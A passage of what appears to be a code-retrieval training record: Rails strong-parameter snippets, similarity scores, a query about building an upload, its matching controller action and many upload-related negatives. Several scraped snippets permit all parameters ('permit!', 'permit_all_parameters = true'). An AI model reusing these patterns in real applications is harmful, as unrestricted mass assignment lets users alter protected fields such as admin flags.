article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def filtering_params\n params.permit(:email)\n end", "def active_code_params\n params[:active_code].permit\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69780594", "0.678054", "0.6742781", "0.67387927", "0.67346025", "0.6590683", "0.6501642", "0.6495788", "0.6479752", "0.64763314", "0.645457", "0.6437739", "0.6377168", "0.6372484", "0.6363871", "0.63179374", "0.62981373", "0.6297456", "0.62916917", "0.6290227", "0.628954", "0.62877893", "0.62814754", "0.62416226", "0.6237962", "0.62168854", "0.62127215", "0.62084496", "0.61927646", "0.6176822", "0.6174079", "0.6171225", "0.6161419", "0.61507314", "0.6150071", "0.6145409", "0.61204594", "0.61135256", "0.6105225", "0.6103249", "0.6088041", "0.6079626", "0.6070542", "0.6060409", "0.60198915", "0.6016795", "0.6010659", "0.60103244", "0.6005393", "0.6005393", "0.6000696", "0.60000104", "0.59931517", "0.59916013", "0.5991397", "0.5990416", "0.5979021", "0.5965926", "0.59582806", "0.59579134", "0.5957629", "0.5956672", "0.59518754", "0.59510773", "0.5942638", "0.5937516", "0.59361875", "0.59361875", "0.59336793", "0.5928626", "0.5925229", "0.59243226", "0.59174913", "0.5907821", "0.5907719", "0.5906177", "0.59056896", "0.5897028", "0.5896294", "0.5895856", "0.5893494", "0.58926904", "0.589066", "0.58854234", "0.58809334", "0.5878489", "0.58727074", "0.5868653", "0.5866631", "0.58666086", "0.5866305", "0.586484", "0.58631617", "0.5861481", "0.5861059", "0.5859114", "0.5858489", "0.585326", "0.58530635", "0.5848788", "0.58479697" ]
0.0
-1
GET /users/:user_id/uploads Provide all of the uploads for the given user.
def index @uploads = policy_scope(@user.uploads) authorize @uploads end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @uploads = current_user.uploads.all\n end", "def index\n @uploads = @user.uploads\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uploads }\n end\n end", "def index\n @uploads = [].tap do |files|\n Upload.with_attached_files\n .where(user_id: current_or_guest_user.id)\n .each do |upload|\n upload.files.each do |file|\n files << { id: upload.id, file: file }\n end\n end\n end\n end", "def index\n @title = \"User uploaded files\"\n get_files(params)\n end", "def index\n\t\t@user = User.find params[:user_id] #el corchete con params tiene que ir junto!!\n\t\t@images = @user.images\n\tend", "def images_by_user\n user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n return unless user\n\n query = create_query(:Image, :by_user, user: user)\n show_selected_images(query)\n end", "def uploaded_file\n initalize_breadcrumb(\"Uploaded File(s)\", uploadedfile_datauploaders_path)\n currentUser = current_user.id\n @uploadedFiles = UserFileMapping.where(:user_id =>currentUser )\n respond_with(@uploadedFiles)\n end", "def images_by_user # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:Image, :by_user, :user => user)\n show_selected_images(query)\n end\n end", "def index\n @user_attachments = UserAttachment.all\n end", "def index\n @images = Image.where(user_id: params[:id])\n @user = User.find(params[:id])\n end", "def user_photos user_id=\"self\", options={}\n response = get(\"/users/#{user_id}/photos\",options)[\"response\"]\n @photos = response[\"photos\"]\n @photos[\"items\"].map!{|item| Foursquared::Response::Photo.new(self, item)}\n end", "def index\n @userfiles = Userfile.all\n end", "def index\n if params[:user_file_tag]\n @user_files = UserFile.tagged_with(params[:user_file_tag]).where(user_id: current_user.id)\n else\n @user_files = UserFile.where(user_id: current_user.id)\n end\n end", "def index\n @uploads = Upload.all\n end", "def index\n @uploads = Upload.all\n end", "def index\n @uploads = Upload.all\n end", "def index\n @uploads = Upload.all\n end", "def index\n @uploads = Upload.all\n end", "def index\n @uploads = Upload.all\n end", "def user_photos(user_id=self.username)\n connection.get(\"/users/#{user_id}/photos\").body.activity\n end", "def index\n @file_uploads = FileUpload.all\n end", "def index\n @image_uploads = ImageUpload.all\n end", "def index\n @uploads = Photo.all\n end", "def index\n @authorized = true\n begin\n authorize! :show, UploadFile\n rescue CanCan::AccessDenied\n @authorized = false\n end\n #added to avoid raise condition when initially uploading multiple files\n check_uploads_collection unless !@authorized\n\n respond_to do |format|\n format.json {\n #TODO find_by_solr could be faster \n @multiresimages = current_user.upload_files.map do |file|\n begin\n Multiresimage.find(file.pid)\n rescue ActiveFedora::ObjectNotFoundError\n end\n end.compact\n render :json=>@multiresimages.map(&:to_jq_upload)\n }\n format.html\n end\n end", "def get_user_files_using_get(user_id, opts = {})\n data, _status_code, _headers = get_user_files_using_get_with_http_info(user_id, opts)\n data\n end", "def index\n@uploads = Upload.all\nend", "def create\n @upload = @user.uploads.build(upload_params)\n authorize @upload\n\n respond_to do |format|\n if @upload.save\n format.json { render json: @upload }\n format.html { redirect_to user_uploads_path(@user) }\n else\n format.json { render json: @upload.errors }\n format.json { render :new }\n end\n end\n end", "def files(count = 5)\n connection.get(room_url_for(:uploads))['uploads'].map { |u| u['full_url'] }\n end", "def list_multipart_uploads(bucket_name, options={})\n params = { uploads: \"\" }\n params.merge! options\n send_request(GET, bucket_name, params)\n end", "def get_user_files_using_get_with_http_info(user_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FilesApi.get_user_files_using_get ...'\n end\n # verify the required parameter 'user_id' is set\n if @api_client.config.client_side_validation && user_id.nil?\n fail ArgumentError, \"Missing the required parameter 'user_id' when calling FilesApi.get_user_files_using_get\"\n end\n # resource path\n local_var_path = '/api/v2/users/{userId}/files'.sub('{' + 'userId' + '}', user_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'tag[]'] = @api_client.build_collection_param(opts[:'tag'], :multi) if !opts[:'tag'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apiKeyInHeader', 'oAuth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'APIListOfAPIUserFile')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FilesApi#get_user_files_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_public_photos(user_id, args = {})\r\n args['user_id'] = user_id\r\n PhotoList.new('flickr.people.getPublicPhotos', args)\r\n end", "def files_for(user)\n files.select { |f| f.can_read? user }\n end", "def user_photos(id = 'self', options = {})\n get(\"/users/#{id}/photos\", options).photos\n end", "def index\n if @user && !@user.photos.empty?\n @photos = User.find(@user.id).photos\n else\n redirect_to new_user_photo_path(@user)\n end \n end", "def images\n if @group.is_member?(@user)\n @images = @group.uploads.images.paginate(:page => @page, :per_page => @per_page, :order => 'created_at desc')\n else\n @images = @group.uploads.images.public.paginate(:page => @page, :per_page => @per_page, :order => 'created_at desc')\n end\n respond_to do |format|\n format.js { render :json => basic_uploads_json(@images) }\n end\n end", "def index\n @uploaded_files = UploadedFile.all\n end", "def index\n @upload_files = UploadFile.all\n end", "def index\n @upload_files = UploadFile.all\n end", "def index\n\t\t@uploads = current_user.all_uploads.sort_by! { |x| x.heading.downcase }\n\tend", "def userfiles_get(opts = {})\n data, _status_code, _headers = userfiles_get_with_http_info(opts)\n data\n end", "def index\n @super_d_uploads = SuperDUpload.all\n end", "def show\n @no_users = User.count()\n \n @user_resources = @user.user_resources\n \n @avatar_url = 'https://s3.amazonaws.com/' + BUCKET_NAME + \"/uploads/#{params[:id]}/user_avatar\"\n\n @new_resource = @user.user_resources.new\n @s3_direct_post = S3_BUCKET.presigned_post(key: \"uploads/#{params[:id]}/${filename}\", success_action_status: 201, acl: :public_read)\n\n end", "def index\n @picture_uploads = PictureUpload.all\n end", "def index\n if user_signed_in?\n if !current_user.first_name?\n redirect_to edit_user_path(current_user)\n end\n end\n params[:direction] ||= \"desc\"\n params[:sort] ||= \"cached_votes_score\"\n @fileuploads = Fileupload.includes(:user).order(params[:sort] + \" \" + params[:direction]).limit(25)\n end", "def index\n\t\t@images = current_user.images\n\tend", "def index\n if session[:user_id]\n @user = User.find(session[:user_id])\n end\n @imgs = Img.find(:all)\n end", "def all_photos\n \n user_id = params[:user_id]\n\n if user_id.nil?\n render :status=>400, :json=>{:message=>\"The request must contain the user_id.\"}\n return\n end\n\n u = User.find(user_id)\n if u.nil?\n logger.info(\"User with email #{email} failed signin: user cannot be found.\")\n render :status=>401, :json=>{:message=>\"User cannot be found.\"}\n return\n end\n \n render :status=>200, :json => u.postcards.order('created_at desc')\n u.postcards.where(\"viewed = ?\", false).each do |p|\n p.viewed = true\n p.save\n end\n end", "def index\n @images = Image.where(:user_id=>current_user.id)\n end", "def index\n @photos = current_user.photos\n end", "def index\n @transfers = Transfer.where user: @user\n end", "def index\n @uploads = Upload.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uploads.map{|upload| upload.to_jq_upload } }\n end\n end", "def show\n @user = User.find(params[:user_id])\n @photos = @trip.photos.all\n end", "def file_upload(params_userfile)\n content_upload(params_userfile.read)\n end", "def index\n @upload = Upload.new # Allow file uploads on index page via jq_fu\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @uploads }\n end\n end", "def index\n @image_users = ImageUser.all\n end", "def index\n @photos = current_user.photos\n end", "def get_user_files(limit=nil, offset=nil)\n args = {}\n args['limit'] = limit unless limit.nil?\n args['offset'] = offset unless offset.nil?\n response = send_method(:get_user_files, args)\n files_from response\n end", "def index\n @uploads = Upload.all\n \n @upload = Upload.new\n \n respond_to do |format|\n format.html \n format.json { render json: @uploads } \n end\n end", "def get_stored_files(user_address)\n directory = File.absolute_path?(Rails.configuration.storagePath) ? Rails.configuration.storagePath\n : Rails.root.join('public', Rails.configuration.storagePath, cur_user_host_address(user_address))\n\n arr = [];\n\n if Dir.exist?(directory)\n Dir.foreach(directory) {|e| # run through all the elements from the folder\n next if e.eql?(\".\")\n next if e.eql?(\"..\")\n next if File.directory?(File.join(directory, e)) # if the element is a directory, skip it\n\n arr.push(e) # push the file to the array\n }\n end\n\n return arr\n end", "def list_users(user_id)\n self.class.get(\"/users/#{user_id}\")\n end", "def index\n @upload_file_to_servers = UploadFileToServer.all\n end", "def index\n @items = current_user.items.all.includes(images_attachments: :blob)\n end", "def list_files(logged_in_user, order)\n files = []\n if logged_in_user.can_read(self.id)\n files = self.myfiles.find(:all, :order => order)\n end\n\n # return the files:\n return files\n end", "def index\n @asset_files = current_user.asset_files\n end", "def index\n @uploaders = Uploader.all\n end", "def get\n # first find the upload within own uploads\n upload = current_user.uploads.find_by_id(params[:id])\n \n #if not found in own uploads, check if the current_user has share access to the parent folder of the file\n upload ||= Upload.find(params[:id]) if current_user.has_share_access?(Upload.find_by_id(params[:id]).folder)\n \n if upload\n send_file upload.uploaded_file.path, :type => upload.uploaded_file_content_type\n else\n flash[:error] = \"You have no permissions to access this area!!\"\n redirect_to uploads_path\n end\n \n end", "def index\n user = current_user\n @cameras = Camera.where(:user_id => user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cameras }\n end\n end", "def index\n @upload_file_to_auto_desks = UploadFileToAutoDesk.all\n end", "def get_files\n return @files if @files.present?\n raise \"No user token present\" unless access[:user_token].present?\n @files ||= get(proviso_url + \"files\")\n @files.presence || raise(\"No files available\")\n end", "def list_all_requests\n call(:get, upload_path)\n end", "def set_upload\n @upload = current_user.uploads.find(params[:id])\n end", "def user_tracks(user_id, options={})\n response = connection.get do |req|\n req.url \"/user/#{user_id}/tracks\", simple_params(options)\n end\n response.body\n end", "def index\n @uploads = Upload.all\n @upload = Upload.new\n end", "def get_files(params)\n if params[:sort] == 'name' then\n sort = \"upload_file_name ASC\"\n else\n sort = \"created_on DESC\"\n end\n\n # Set currently viewing by key\n if params[:key] then\n @viewing_by = params[:key]\n @title << \" - #{@viewing_by.pluralize}\" \n @files = UserUpload.paginate(\n :order => sort,\n :page => params[:page],\n :conditions => [\"#{UserUpload.connection.quote_column_name(\"type\")} = ?\", @viewing_by], # and thumbnail is NULL\n :per_page => 30\n )\n else\n @files = UserUpload.paginate(\n :order => sort,\n :page => params[:page],\n # :conditions => \"#{connection.quote_column_name(\"thumbnail\")} is NULL\",\n :per_page => 30\n )\n end\n end", "def upload_file(upload, user, client_name)\n if upload != nil\n if user.link_picture != nil\n File.delete('public/images/' << user.link_picture)\n end\n name = upload['img'].original_filename\n directory = 'public/images/' + client_name + '/users/' + user.username\n path = File.join(directory, name)\n File.open(path, 'wb') { |f| f.write(upload['img'].read) }\n path_img = client_name + '/users/' + user.username + '/' + name\n User.where(:id => user.id).update_all(link_picture: path_img)\n end\n end", "def index\n @file_upload_attachments = FileUploadAttachment.all\n end", "def index\n @pictures = current_user.pictures.all\n end", "def uploads_list(project_id, opts = {})\n data, _status_code, _headers = uploads_list_with_http_info(project_id, opts)\n data\n end", "def file_uploads; end", "def index\n @uploads = Upload.nw(session[:nw]).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @uploads }\n end\n end", "def get_all_owned_files(user_id)\n return $db.execute(\"SELECT * FROM files WHERE owner_id = ?\", user_id)\nend", "def new_items_for_user(username, sitename)\n raise Envato::InvalidSiteName unless marketplace_names.include? sitename\n\n response = get \"v1/market/new-files-from-user:#{username},#{sitename}.json\"\n response[:'new-files-from-user']\n end", "def index\n @assets = current_user.assets.where(\"folder_id is null and is_chunk = false\").order(\"uploaded_file_updated_at desc\")\n end", "def get_medias(data)\n result = @client.api_request(\n :method => \"usermedia.get\",\n :params => {\n :userids => data[:userid],\n :output => \"extend\"\n }\n )\n result ? result : nil\n end", "def gallery_for_user(user)\n # GARF: The cachebusting timestamp is for testing worst case load times remove before production!!!\n # The map is butt slow (1 second for 700 pics) and should not be used!\n # photos.first(100).map{|p| p.pic.url(:thumb) + \"-\" + Time.now.to_i.to_s}\n photos.order(\"created_on DESC\").map{|p| p.attributes_for_app }\n end", "def upload\n files_saved = 0\n # Build product images from upload\n\t\tparams[:file].each do |i|\n if i[:file_data] && !i[:file_data].blank?\n new_file = UserUpload.init(i[:file_data])\n if new_file.save\n files_saved += 1\n end\n end\n end\n \n flash[:notice] = \"#{files_saved} file(s) uploaded.\"\n \n if params[:modal]\n redirect_to :action => 'image_library' and return\n else\n redirect_to :action => 'index' and return\n end\n end", "def index\n @users_photos = UsersPhoto.all\n respond_to do |format|\n\n format.html # index.html.erb\n format.json { render json: @users_photos }\n end\n end", "def index\n @images = @user.images.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @images }\n end\n end", "def show\n @uploadUsers = User.with_role(:uploadUser).where(\"users.is_active = ?\", true)\n end", "def index\n if user_signed_in?\n # show folders shared by others\n @being_shared_folders = current_user.shared_folders_by_others\n\n # load current user's root folders (which have no parent folders)\n @folders = current_user.folders.roots\n\n # load current user's root files (assets) (which aren't in a folder)\n @assets = current_user.assets.where(\"folder_id is null and is_chunk = false\").order(\"uploaded_file_updated_at desc\")\n end\n end", "def index\n @assets = @uploadable.assets\n end", "def index\n @uploadphotos = Uploadphoto.all\n end", "def uploads_list_with_http_info(project_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UploadsApi.uploads_list ...'\n end\n # verify the required parameter 'project_id' is set\n if @api_client.config.client_side_validation && project_id.nil?\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling UploadsApi.uploads_list\"\n end\n # resource path\n local_var_path = '/projects/{project_id}/uploads'.sub('{' + 'project_id' + '}', CGI.escape(project_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n query_params[:'branch'] = opts[:'branch'] if !opts[:'branch'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-PhraseApp-OTP'] = opts[:'x_phrase_app_otp'] if !opts[:'x_phrase_app_otp'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Upload>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Basic', 'Token']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UploadsApi#uploads_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n response = ::Phrase::Response.new(data, headers)\n return response, status_code, headers\n end", "def get_slideshows_by_user username_for, options = {}\n do_request 'get_slideshows_by_user', options.merge(username_for: username_for)\n end", "def upload_path\n Rails.root.join('file_uploads', 'csv_keywords', \"user_#{@user.id}\")\n end", "def index\n @assets = @attachable.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assets.map{|upload| upload.to_jq_upload } }\n end\n end", "def get_files(query_obj=nil,with_nested_resources=false)\n uri = URI.parse(@uri + \"/Files\")\n results = get(uri,query_obj,with_nested_resources)\n end", "def index\n @csvuploads = Csvupload.all\n end", "def for_id(user_id)\n Iterable.request(conf, \"/users/byUserId/#{user_id}\").get\n end", "def index\n @riffblobs = current_user.riffblobs\n respond_to do |format|\n format.json { render json: @riffblobs.as_json }\n end\n end" ]
[ "0.7084568", "0.7060152", "0.6641204", "0.6372152", "0.6282985", "0.6258394", "0.61764705", "0.6157016", "0.6111285", "0.6076174", "0.60729074", "0.60317457", "0.59622955", "0.59554845", "0.5954905", "0.5954905", "0.5954905", "0.5954905", "0.5954905", "0.58884686", "0.587863", "0.5828304", "0.5817185", "0.5814257", "0.58098394", "0.5779035", "0.57393205", "0.5729574", "0.5719413", "0.56866026", "0.5685779", "0.56829345", "0.5682799", "0.56383616", "0.5605632", "0.55862415", "0.55748105", "0.55748105", "0.5571318", "0.5551429", "0.55425906", "0.55165744", "0.5490608", "0.5490592", "0.54521495", "0.5448207", "0.5446033", "0.54456186", "0.544472", "0.54419357", "0.5421526", "0.5419067", "0.5405538", "0.54048264", "0.54017806", "0.53963673", "0.5392784", "0.5368598", "0.53680605", "0.53572375", "0.5347705", "0.5342618", "0.5340061", "0.53279656", "0.5298194", "0.5294054", "0.5290691", "0.52777463", "0.52506423", "0.5248385", "0.524107", "0.524064", "0.52300537", "0.5221595", "0.5206432", "0.51904243", "0.51665175", "0.5151735", "0.51448756", "0.5140107", "0.51399297", "0.51365393", "0.5132648", "0.51190585", "0.511679", "0.51022243", "0.5101112", "0.5095985", "0.5085068", "0.5056552", "0.5055393", "0.50487804", "0.5047303", "0.50426877", "0.5038714", "0.50376296", "0.50356835", "0.50255424", "0.5019257", "0.50100666" ]
0.5392333
57
GET /users/:user_id/uploads/new Build an upload and provide the UI to create it.
def new @upload = @user.uploads.build authorize @upload end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @upload = @user.uploads.build(upload_params)\n authorize @upload\n\n respond_to do |format|\n if @upload.save\n format.json { render json: @upload }\n format.html { redirect_to user_uploads_path(@user) }\n else\n format.json { render json: @upload.errors }\n format.json { render :new }\n end\n end\n end", "def create\n @upload = current_user.uploads.build(upload_params)\n if @upload.save\n flash[:notice] = \"Successfully uploaded the file.\"\n if @upload.folder\n redirect_to browse_path(@upload.folder)\n else\n redirect_to root_url\n end\n else\n render :action => 'new'\n end\n end", "def create\n @upload = Upload.new(params[:upload])\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to [@user, @upload], notice: 'Upload was successfully created.' }\n format.json { render json: @upload, status: :created, location: @upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n new_uploads = create_upload_params\n new_uploads[:user_id] = current_or_guest_user.id\n\n @upload = Upload.new(new_uploads)\n\n if @upload.save\n flash[:success] = 'File Upload Successfully!'\n else\n flash[:danger] = 'An error occurred. Please try again!'\n flash[:error] = t(@upload.errors.full_messages.to_sentence)\n end\n redirect_to root_path\n end", "def new\n unauthorized() and return if !user_is_admin?(current_user)\n @upload = Upload.new()\n end", "def create\n newparams = coerce(params)\n @upload = Upload.new(newparams[:upload])\n if @upload.save\n flash[:notice] = \"Successfully created upload.\"\n respond_to do |format|\n format.html {redirect_to index}\n format.json {render :json => { :result => 'success', :upload => @upload.image.url } }\n end\n else\n render :action => 'new'\n end\n end", "def create\n @upload = Upload.new(upload_params)\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to @upload, notice: 'Upload was successfully created.' }\n format.json { render action: 'show', status: :created, location: @upload }\n else\n format.html { render action: 'new' }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @upload = Upload.new(params[:upload])\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to @upload, notice: 'Upload was successfully created.' }\n format.json { render json: @upload, status: :created, location: @upload }\n\t\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @upload = Upload.new(form_params)\n @upload.user = current_user\n\n add_breadcrumb SystemConfigFieldCustomization.find_by(table_name: 'uploads', action_name: 'new')&.label || \"Upload Template\"\n\n respond_to do |format|\n if @upload.save\n notify_user(:notice, \"File was successfully uploaded.\")\n # create a job to process this file in the background\n create_upload_process_job(@upload)\n\n format.html { redirect_to uploads_url }\n format.json { render :json => @upload, :status => :created, :location => @upload }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @upload.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @upload = Upload.new(params[:upload])\n @upload.user_id = current_user.id if current_user\n if @upload.save\n redirect_to \"/patients\"\n else\n render :new\n end\n end", "def create\n if !user_signed_in?\n redirect_to :root\n end\n @fileupload = Fileupload.new(fileupload_params)\n\n respond_to do |format|\n if @fileupload.save\n format.html { redirect_to @fileupload, notice: 'Fileupload was successfully created.' }\n format.json { render :show, status: :created, location: @fileupload }\n else\n format.html { render :new }\n format.json { render json: @fileupload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n@upload = Upload.create(upload_params)\nend", "def create\n @ufile = Ufile.new(params[:ufile])\n @ufile.user_id = current_user.id\n respond_to do |format|\n if @ufile.save\n format.html { redirect_to \"/ufiles\", notice: 'Ufile was successfully created.' }\n format.json { render json: @ufile, status: :created, location: @ufile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ufile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_upload_request\n call(:post, upload_path)\n end", "def create\n if params['file'] == nil\n return redirect_to :action => :new\n end\n\n temp_file_path = params['file'].tempfile.path\n inferred_type = infer_type(temp_file_path)\n random_name = SecureRandom.uuid\n\n upload_file(random_name, temp_file_path)\n\n @upload = Upload.new(upload_params)\n @upload['uploadDate'] = Time.now\n @upload['file_extension'] = inferred_type\n @upload['s3_name'] = random_name\n @upload['full_text'] = extract_text(temp_file_path, inferred_type)\n\n if @upload.save\n redirect_to :action => :index, notice: 'Upload was successfully created.'\n else\n render :new\n end\n end", "def new\n logger.debug(\"user new\")\n @user = User.new\n #@user.infiles.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def create\n @user_file = UserFile.new(params[:user_file])\n\n respond_to do |format|\n if @user_file.save\n format.html { redirect_to @user_file, :notice => 'User file was successfully created.' }\n format.json { render :json => @user_file, :status => :created, :location => @user_file }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user_file.errors, :status => :unprocessable_entity }\n end\n end\n end", "def upload\n self._create params[:upfile], params[:pictitle]\n end", "def create\n @userfile = Userfile.new(params[:userfile])\n \n\n respond_to do |format|\n if @userfile.save\n format.html {\n render :json => [@userfile.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: {files: [@userfile.to_jq_upload] }, status: :created, location: @userfile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @userfile.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def create\n @super_d_upload = current_user.super_d_uploads.build(super_d_upload_params)\n\n respond_to do |format|\n if @super_d_upload.save\n format.html { redirect_to @super_d_upload, notice: 'Super d upload was successfully created.' }\n format.json { render :new, status: :created, location: @super_d_upload }\n else\n format.html { render :new }\n format.json { render json: @super_d_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @userfile = Userfile.new(userfile_params)\n\n respond_to do |format|\n if @userfile.save\n format.html { redirect_to @userfile, notice: 'Userfile was successfully created.' }\n format.json { render :show, status: :created, location: @userfile }\n else\n 